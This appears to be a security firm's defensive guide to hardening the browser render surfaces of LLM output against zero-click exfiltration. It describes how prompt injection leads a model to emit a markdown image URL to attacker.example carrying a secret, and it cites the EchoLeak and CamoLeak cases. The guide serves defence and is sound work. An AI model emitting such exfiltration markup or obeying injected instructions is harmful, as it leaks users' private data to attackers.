IVIS

The Render Surface Is an Exfiltration Channel

Model output rendered in a browser can leak data with zero clicks. Harden every render surface — CSP, image proxying, host allowlists, sanitization — before you trust what the model emits.

The Conventional Framing

Teams treat the model's output as text to display. It isn't — it's markup your client will execute. The moment you render model output as markdown or HTML, every construct the renderer supports becomes an attacker primitive: images that auto-fetch, links that carry query strings, and in the worst cases active content that runs. An attacker who can inject instructions into the model can inject the output too.

The canonical exploit needs no user interaction at all. A markdown image such as ![](https://attacker.example/?data=<secret>) is fetched by the browser the instant the response renders. The secret rides out in the query string; the attacker reads it in their access logs. Zero clicks, no download prompt, no visible artifact. This is the third leg of the lethal trifecta — the external communication channel — sitting inside your UI layer, wide open by default.

Why This Keeps Shipping — and Where Hardening Still Fails

This is not theoretical and it is not rare. Zero-click and one-click exfiltration through rendered model output has been documented across ChatGPT, Microsoft Copilot, Google Gemini, Slack AI, and Claude.ai — EchoLeak and CamoLeak are the named cases, but the class is the same everywhere output is rendered without a hardened surface. The image tag is the reliable vector precisely because it fires automatically and looks like a normal feature.

The mitigations are known and cheap. They are also easy to get partially right, which is worse than getting them obviously wrong:

  • Allowlists still leak through permitted hosts. If you allow images from a CDN that anyone can write to — or that mirrors arbitrary URLs — the allowlist is a speed bump. Camo-style proxies were themselves turned into exfiltration channels (CamoLeak). The host must be one you control and that cannot be coerced into fetching attacker URLs.
  • You must cover EVERY render surface. The chat window, the markdown preview, the email digest, the Slack unfurl, the PDF export, the mobile webview. One unhardened surface re-opens the channel for the whole system. Coverage is the property that actually matters, and it is the one teams miss.
  • Sanitization is necessary, not sufficient. DOMPurify and bleach strip XSS, but a permitted image or link is not XSS — it's a feature working as designed. You need CSP and host allowlisting on top of sanitization, not instead of it.

Architecture

Components:

  • SanitizerDOMPurify / bleach strips active content and disallowed markup before anything reaches the DOM
  • Host allowlistURL and image-host allowlisting; only hosts you control and cannot coerce into fetching attacker URLs
  • Server-side proxyimages and links are fetched and re-served through your own origin, never the client hitting an arbitrary host
  • Strict CSPimg-src / connect-src locked down so an auto-fetched image or beacon to an attacker host is blocked by the browser

Trust Boundaries

┌──────────────────────────────────────────────────────────┐ │ UNTRUSTED ZONE │ │ │ │ Model output ──► markdown / HTML with embedded │ │ images, links, active content │ │ │ │ [Attacker controls the markup; treat as hostile] │ └──────────────────────────────────────────────────────────┘ │ [Sanitize: DOMPurify / bleach] [Allowlist URL + image host] [Proxy fetches through your origin] │ ▼ ┌──────────────────────────────────────────────────────────┐ │ RENDER ZONE (hardened) │ │ │ │ Strict CSP ──► img-src / connect-src = your origin only │ │ │ │ [Auto-fetch to attacker host is blocked by the browser] │ │ [No active content is rendered] │ └──────────────────────────────────────────────────────────┘
  1. Model output → sanitizerthe model's markup is untrusted; it enters here and is stripped of active content before touching the DOM
  2. Sanitizer → allowlist + proxyonly URLs on hosts you control survive; everything else is fetched through your origin or dropped
  3. Proxy → CSP-locked renderthe browser itself refuses img-src / connect-src to any attacker host — the last line that catches what slipped through

Threat Surface

ThreatVectorImpact
Zero-click image exfilauto-fetched markdown image with secret data in the query stringPrivate data leaks to attacker logs with no user interaction
Allowlisted-host leakattacker uses a permitted CDN or a proxy that mirrors arbitrary URLsExfiltration through a host the allowlist trusts
Uncovered render surfacean email digest, PDF export, or unfurl that skips the hardened pathThe channel stays open for the whole system
XSS from outputactive content in model output rendered without sanitizationScript execution in the user's session

The ZIVIS Position

  • Treat model output as attacker markup.It is not text to display, it is markup your client executes. Render it with the same distrust you apply to any user-supplied HTML.
  • CSP is the backstop, not the plan.Lock down img-src and connect-src so the browser blocks auto-fetch to attacker hosts even when everything upstream fails. It's the control that doesn't depend on your code being perfect.
  • Proxy and allowlist together.Fetch images and links through your own origin, and allow only hosts you control. An allowlist over a coercible proxy is not a boundary.
  • Coverage is the whole game.Every render surface, no exceptions — chat, preview, digest, export, unfurl, webview. One unhardened surface re-opens the channel.
  • Never auto-render active content.Sanitize with DOMPurify or bleach and refuse to execute anything the model emits. Passive rendering only.

What We Tell Clients

This is the cheapest high-value control on the board. It is low-to-medium effort and it closes a zero-click exfiltration path that has burned every major AI product. If your agent renders model output in a browser and touches anything private, this is not optional — it is the exit door on the lethal trifecta, and it is standing open until you close it.

Do all of it, not some of it: strict CSP with locked img-src and connect-src, server-side image and link proxying, URL and image-host allowlisting to hosts you control, and DOMPurify or bleach sanitization with no auto-rendered active content. Then enumerate your render surfaces and prove each one runs through the hardened path. The allowlist can still leak through a permitted host, so keep this paired with least-privilege tooling and egress control — a bypass here should land on a system that has nothing worth sending.

Related Patterns

References

Frequently Asked Questions

How can rendered model output leak private data?

Model output rendered as markdown or HTML is markup your client executes, not just text to display. A markdown image such as an img tag pointing at an attacker host with a secret in the query string is fetched by the browser the instant the response renders, sending the data to the attacker's access logs with zero clicks and no visible artifact. This is the external-communication-channel leg of the lethal trifecta sitting inside your UI layer.

What is output-rendering hardening?

It is treating every render surface as an exfiltration channel and locking it down before you trust what the model emits. The core controls are sanitization with DOMPurify or bleach, URL and image-host allow-listing to hosts you control, server-side proxying of images and links through your own origin, and a strict CSP with locked img-src and connect-src so the browser blocks auto-fetch to attacker hosts.

Is sanitization enough to stop markdown image exfiltration?

No. Sanitizers like DOMPurify and bleach strip XSS, but a permitted image or link is not XSS, it is a feature working as designed. You need CSP and host allow-listing on top of sanitization, not instead of it, and even an allow-list can leak through a permitted CDN or a proxy that mirrors arbitrary URLs, as the CamoLeak case showed.

Why does render-surface coverage matter so much?

Because one unhardened surface re-opens the channel for the whole system. The chat window, markdown preview, email digest, Slack unfurl, PDF export, and mobile webview must all run through the hardened path. Zero-click and one-click exfiltration through rendered output has been documented across ChatGPT, Microsoft Copilot, Google Gemini, Slack AI, and Claude.ai, and coverage is the property teams most often miss.